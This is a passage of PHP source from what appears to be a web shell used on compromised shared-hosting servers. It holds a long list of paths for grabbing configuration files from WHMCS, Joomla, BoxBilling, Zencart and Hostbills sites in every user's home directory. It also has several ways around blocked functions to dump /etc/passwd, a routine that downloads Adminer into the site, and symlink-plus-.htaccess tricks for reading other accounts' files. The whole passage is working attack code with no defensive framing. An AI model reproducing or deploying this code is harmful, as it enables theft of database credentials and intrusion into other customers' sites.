"^WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/cms/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/beta/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/portal/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/site/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/main/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/home/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/demo/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/test/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/v1/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/v2/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/joomla/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/new/configuration.php" => "Joomla",\r\n\t\t\t\t\t"/home/$user_con/public_html/WHMCS/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/whmcs1/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Whmcs/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/WHMC/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Whmc/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/whmc/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/WHM/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Whm/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/whm/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/HOST/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Host/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/host/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/SUPPORTES/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Supportes/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/supportes/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/domains/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/domain/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Hosting/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/HOSTING/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/hosting/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CART/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Cart/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/cart/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/ORDER/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Order/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/order/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CLIENT/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Client/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/client/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Clientarea/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/clientarea/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/SUPPORT/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Support/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BILLING/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Billing/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/billing/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BUY/sumitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Buy/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/buy/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/MANAGE/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Manage/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/manage/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/ClientSupport/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Clientsupport/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/clientsupport/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CHECKOUT/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Checkout/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/checkout/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/billings/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BASKET/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Basket/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/basket/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/SECURE/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Secure/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/secure/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/SALES/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Sales/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/sales/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BILL/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Bill/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/bill/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/PURCHASE/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Purchase/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/purchase/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/ACCOUNT/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Account/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/account/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/USER/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/User/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/user/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/CLIENTS/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Clients/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/clients/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/billings/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/MY/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/My/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/my/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/secure/whm/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/secure/whmcs/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/panel/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/clientes/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/cliente/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/order/submitticket.php" => "WHMCS",\r\n\t\t\t\t\t"/home/$user_con/public_html/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/boxbilling/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/box/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/host/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/Host/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/supportes/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/hosting/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/cart/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/order/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/client/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/clients/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/cliente/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/clientes/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/billing/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/billings/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/my/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/secure/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/order/bb-config.php" => "BoxBilling",\r\n\t\t\t\t\t"/home/$user_con/public_html/includes/dist-configure.php" => "Zencart",\r\n\t\t\t\t\t"/home/$user_con/public_html/zencart/includes/dist-configure.php" => "Zencart",\r\n\t\t\t\t\t"/home/$user_con/public_html/products/includes/dist-configure.php" => "Zencart",\r\n\t\t\t\t\t"/home/$user_con/public_html/cart/includes/dist-configure.php" => "Zencart",\r\n\t\t\t\t\t"/home/$user_con/public_html/shop/includes/dist-configure.php" => "Zencart",\r\n\t\t\t\t\t"/home/$user_con/public_html/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/hostbills/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/host/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/Host/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/supportes/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/hosting/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/cart/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/order/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/client/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/clients/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/cliente/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/clientes/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/billing/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/billings/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/my/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/secure/includes/iso4217.php" => "Hostbills",\r\n\t\t\t\t\t"/home/$user_con/public_html/support/order/includes/iso4217.php" => "Hostbills"\r\n\t\t\t\t);\t\r\n\t\t\t\tforeach($grab_config as $config => $nama_config){\r\n\t\t\t\t\t$ambil_config = file_get_contents($config);\r\n\t\t\t\t\tif($ambil_config == \'\'){\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$file_config = fopen("angkol_config/$user_con-$nama_config.txt","w");\r\n\t\t\t\t\t\tfputs($file_config,$ambil_config);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\t\t\r\n\t\t}\r\n\t\techo "<p class=\'text-center\'>Success</p>\r\n\t\t<a href=\'?dir=$dir/anonprixor_config\' class=\'btn btn-Success btn-block mb-4\'>Click Here</a>";\r\n\t}else{\r\n\t\techo "<form method=\'post\'>\r\n\t\t\t<p class=\'text-danger\'>/etc/passwd Error ? <a href=\'?dir=$dir&aksi=passwbypass\'>Bypass Here</a></p>\r\n\t\t\t<textarea name=\'passwd\' class=\'form-control\' rows=\'13\'>".file_get_contents(\'/etc/passwd\')."</textarea><br/>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger btn-block\' value=\'Get Auto Config\'>\r\n\t\t</form>";\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiBypasswd($dir,$file){\r\n\techo \'<div claas="container">\r\n\t\t<form method="POST">\r\n\t\t\t<p class="text-center">Bypass etc/passwd With :</p>\r\n\t\t\t<div class="d-flex justify-content-center flex-wrap">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex">\r\n\t\t\t</div><hr/>\r\n\t\t\t<p class="text-center">Bypass User With :</p>\r\n\t\t\t<div class="d-flex justify-content-center flex-wrap">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser">\r\n\t\t\t\t<input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser">\t\r\n\t\t\t\t<input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser">\t\t\r\n\t\t\t\t<input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser">\r\n\t\t\t</div>\r\n\t\t</form>\';\r\n\t\t$mail = \'ls /var/mail\';\r\n\t\t$paswd = \'/etc/passwd\';\r\n\t\tif($_POST[\'syst\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo system("cat $paswd");\r\n\t\t\techo"</textarea><br/>";\r\n\t\t}\r\n\t\tif($_POST[\'passth\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo passthru("cat $paswd");\r\n\t\t\techo"</textarea><br/>";\r\n\t\t}\r\n\t\tif($_POST[\'ex\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo exec("cat $paswd");\r\n\t\t\techo"</textarea><br/>";\r\n\t\t}\r\n\t\tif($_POST[\'shex\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo shell_exec("cat $paswd");\r\n\t\t\techo"</textarea><br/>";\r\n\t\t}\r\n\t\tif($_POST[\'melex\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\tfor($uid=0;$uid<6000;$uid++){ \r\n\t\t\t\t$ara = posix_getpwuid($uid);\r\n\t\t\t\tif (!empty($ara)){\r\n\t\t\t\t\twhile (list ($key, $val) = each($ara)){\r\n\t\t\t\t\t\tprint "$val:";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprint "n";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo"</textarea><br/>";\r\n\t\t}\r\n\t\t\r\n\t\tif ($_POST[\'awkuser\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>\r\n\t\t\t\t".shell_exec("awk -F: \'{ print $1 }\' $paswd | sort")."\r\n\t\t\t</textarea><br/>";\r\n\t\t}\r\n\t\tif ($_POST[\'systuser\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo system("$mail");\r\n\t\t\techo "</textarea><br>";\r\n\t\t}\r\n\t\tif ($_POST[\'passthuser\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo passthru("$mail");\r\n\t\t\techo "</textarea><br>";\r\n\t\t}\r\n\t\tif ($_POST[\'exuser\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo exec("$mail");\r\n\t\t\techo "</textarea><br>";\r\n\t\t}\r\n\t\tif ($_POST[\'shexuser\']){\r\n\t\t\techo"<textarea class=\'form-control\' rows=\'13\'>";\r\n\t\t\techo shell_exec("$mail");\r\n\t\t\techo "</textarea><br>";\r\n\t\t}\r\n\techo "</div>";\r\n\texit;\r\n}\r\nfunction aksiAdminer($dir,$file){\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi){\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\r\n\t\tcurl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\tcurl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\tcurl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')){\r\n\t\techo "<a href=\'$full/adminer.php\' target=\'_blank\' class=\'text-center btn btn-Success btn-block mb-3\'>Login Adminer</a>";\r\n\t}else{\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")){\r\n\t\t\techo "<p class=\'text-center\'>Success Creating Adminer</p><a href=\'$full/adminer.php\' target=\'_blank\' class=\'text-center btn btn-Success btn-block mb-3\'>Login Adminer</a>";\r\n\t\t}else{\r\n\t\t\techo "<p class=\'text-center text-danger\'>Failed Creating Adminer</p>";\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiSym($dir,$file){\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\t$d0mains = @file("/etc/named.conf");\r\n\tif(!$d0mains){\r\n\t\tdie ("[ <a href=\'?dir=$dir&aksi=symread\'>Bypass Read</a> ] [ <a href=\'?dir=$dir&aksi=sym_404\'>Symlink 404</a> ] [ <a href=\'?dir=$dir&aksi=sym_bypas\'>Symlink Bypass</a> ]<br/><font color=\'red\'>Error unable to read /etc/named.conf</font><br/><br/>");\r\n\t}\r\n\t##htaccess\r\n\tif($d0mains){\r\n\t\t@mkdir("angkol_sym",0777);\r\n\t\t@chdir("angkol_sym");\r\n\t\t@exe("ln -s / root");\r\n\t\t$file3 = \'Options Indexes FollowSymLinks\r\n\t\tDirectoryIndex indsc.html\r\n\t\tAddType text/plain php html php5 phtml\r\n\t\tAddHandler text/plain php html php5 phtml\r\n\t\tSatisfy Any\';\r\n\t\t$fp3 = fopen(\'.htaccess\',\'w\');\r\n\t\t$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n\t\techo "[ <a href=\'?dir=$dir&aksi=symread\'>Bypass Read</a> ] [ <a href=\'?dir=$dir&aksi=sym_404\'>Symlink 404</a> ] [ <a href=\'?dir=$dir&aksi=sym_bypas\'>Symlink Bypass</a> ]\r\n\t\t<div class=\'tmp\'>\r\n\t\t<table class=\'text-center table-responsive\'>\r\n\t\t\t<thead class=\'bg-info\'>\r\n\t\t\t\t<th>No.</th>\r\n\t\t\t\t<th>Domains</th>\r\n\t\t\t\t<th>Users</th>\r\n\t\t\t\t<th>symlink </th>\r\n\t\t\t</thead>";\r\n\t\t\t$dcount = 1;\r\n\t\t\tforeach($d0mains as $d0main){\r\n\t\t\t\tif(eregi("zone",$d0main)){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tif(strlen(trim($domains[1][0])) > 2){\r\n\t\t\t\t\t\t$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\n\t\t\t\t\t\techo "<tr>\r\n\t\t\t\t\t\t\t<td>".$dcount."</td>\r\n\t\t\t\t\t\t\t<td class=\'text-left\'><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td>\r\n\t\t\t\t\t\t\t<td>".$user[\'name\']."</td>\r\n\t\t\t\t\t\t\t<td><a href=\'$full/angkol_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>Symlink</a></td>\r\n\t\t\t\t\t\t</tr>";\r\n\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t$dcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\techo "</table></div>";\r\n\t}else{\r\n\t\t$TEST = @file(\'/etc/passwd\');\r\n\t\tif ($TEST){\r\n\t\t\t@mkdir("angkol_sym",0777);\r\n\t\t\t@chdir("angkol_sym");\r\n\t\t\t@exe("ln -s / root");\r\n\t\t\t$file3 = \'Options Indexes FollowSymLinks\r\n\t\t\tDirectoryIndex indsc.html\r\n\t\t\tAddType text/plain php html php5 phtml\r\n\t\t\tAddHandler text/plain php html php5 phtml\r\n\t\t\tSatisfy Any\';\r\n\t\t\t$fp3 = fopen(\'.htaccess\',\'w\');\r\n\t\t\t$fw3 = fwrite($fp3,$file3);\r\n\t\t\t@fclose($fp3);\r\n\t\t\techo "[ <a href=\'?dir=$dir&aksi=symread\'>Bypass Read</a> ] [ <a href=\'?dir=$dir&aksi=sym_404\'>Symlink 404</a> ] [ <a href=\'?dir=$dir&aksi=sym_bypas\'>Symlink Bypass</a> ]\r\n\t\t\t<div class=\'tmp\'>\r\n\t\t\t<table class=\'text-center table-responsive\'>\r\n\t\t\t\t<thead class=\'bg-warning\'>\r\n\t\t\t\t\t<th>No.</th>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink </th>\r\n\t\t\t\t</thead>";\r\n\t\t\t\t$dcount = 1;\r\n\t\t\t\t$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\r\n\t\t\t\twhile(!feof($file)){\r\n\t\t\t\t\t$s = fgets($file);\r\n\t\t\t\t\t$matches = array();\r\n\t\t\t\t\t$t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n\t\t\t\t\t$matches = str_replace("home/","",$matches[1]);\r\n\t\t\t\t\tif(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo "<tr>\r\n\t\t\t\t\t\t<td>".$dcount."</td>\r\n\t\t\t\t\t\t<td>".$matches."</td>\r\n\t\t\t\t\t\t<td><a href=$full/angkol_sym/root/home/".$matches."/public_html target=\'_blank\'>Symlink</a></td>\r\n\t\t\t\t\t</tr>";\r\n\t\t\t\t\t$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose($file);\r\n\t\t\techo "</table></div>";\r\n\t\t}else{\r\n\t\tif($os != "Windows"){\r\n\t\t\t@mkdir("angkol_sym",0777);\r\n\t\t\t@chdir("angkol_sym");\r\n\t\t\t@exe("ln -s / root");\r\n\t\t\t$file3 = \'Options Indexes FollowSymLinks\r\n\t\t\tDirectoryIndex indsc.html\r\n\t\t\tAddType text/plain php html php5 phtml\r\n\t\t\tAddHandler text/plain php html php5 phtml\r\n\t\t\tSatisfy Any\';\r\n\t\t\t$fp3 = fopen(\'.htaccess\',\'w\');\r\n\t\t\t$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n\t\t\techo "[ <a href=\'?dir=$dir&aksi=symread\'>Bypass Read</a> ] [ <a href=\'?dir=$dir&aksi=sym_404\'>Symlink 404</a> ] [ <a href=\'?dir=$dir&aksi=sym_bypas\'>Symlink Bypass</a> ]\r\n\t\t\t<div class=\'tmp\'><table class=\'text-center table-responsive\'>\r\n\t\t\t\t<thead class=\'bg-danger\'>\r\n\t\t\t\t\t<th>ID.</th>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink </th>\r\n\t\t\t\t</thead>";\r\n\t\t\t\t$temp = "";$val1 = 0;$val2 = 1000;\r\n\t\t\t\tfor(;$val1 <= $val2;$val1++){\r\n\t\t\t\t\t$uid = @posix_getpwuid($val1);\r\n\t\t\t\t\tif ($uid)$temp .= join(\':\',$uid)."\\n";\r\n\t\t\t\t}\r\n\t\t\t\techo \'<br/>\';$temp = trim($temp);\r\n\t\t\t\t$file5 = fopen("test.txt","w");\r\n\t\t\t\tfputs($file5,$temp);\r\n\t\t\t\tfclose($file5);$dcount = 1;$file =\r\n\t\t\t\tfopen("test.txt", "r") or exit("Unable to open file!");\r\n\t\t\t\twhile(!feof($file)){\r\n\t\t\t\t\t$s = fgets($file);$matches = array();\r\n\t\t\t\t\t$t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n\t\t\t\t\t$matches = str_replace("home/","",$matches[1]);\r\n\t\t\t\t\tif(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo "<tr>\r\n\t\t\t\t\t\t<td>".$dcount."</td>\r\n\t\t\t\t\t\t<td>".$matches."</td>\r\n\t\t\t\t\t\t<td><a href=$full/AnonPrixor_sym/root/home/".$matches."/public_html target=\'_blank\'>Symlink</a></td>\r\n\t\t\t\t\t</tr>";\r\n\t\t\t\t\t$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose($file);\r\n\t\t\techo "</table></div>";\r\n\t\t\tunlink("test.txt");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiSymread($dir,$file){\r\n\techo "read /etc/named.conf\r\n\t<form method=\'post\' action=\'?dir=$dir&aksi=symread&save=1\'>\r\n\t<textarea class=\'form-control\' rows=\'13\' name=\'file\'>";\r\n\t\tflush();\r\n\t\tflush();\r\n\t\t$file = \'/etc/named.conf\';\r\n\t\t$r3ad = @fopen($file, \'r\');\r\n\t\tif ($r3ad){\r\n\t\t\t$content = @fread($r3ad, @filesize($file));\r\n\t\t\techo "".htmlentities($content)."";\r\n\t\t}else if (!$r3ad){\r\n\t\t\t$r3ad = @show_source($file) ;\r\n\t\t}else if (!$r3ad){\r\n\t\t\t$r3ad = @highlight_file($file);\r\n\t\t}else if (!$r3ad){\r\n\t\t\t$sm = @symlink($file,\'sym.txt\');\r\n\t\t\tif ($sm){\r\n\t\t\t\t$r3ad = @fopen(\'AnonPrixor_sym/sym.txt\', \'r\');\r\n\t\t\t\t$content = @fread($r3ad, @filesize($file));\r\n\t\t\t\techo "".htmlentities($content)."";\r\n\t\t\t}\r\n\t\t}\r\n\techo "</textarea><br/><input type=\'submit\' class=\'btn btn-danger form-control\' value=\'Save\'/> </form>";\r\n\tif(isset($_GET[\'save\'])){\r\n\t\t$cont = stripcslashes($_POST[\'file\']);\r\n\t\t$f = fopen(\'named.txt\',\'w\');\r\n\t\t$w = 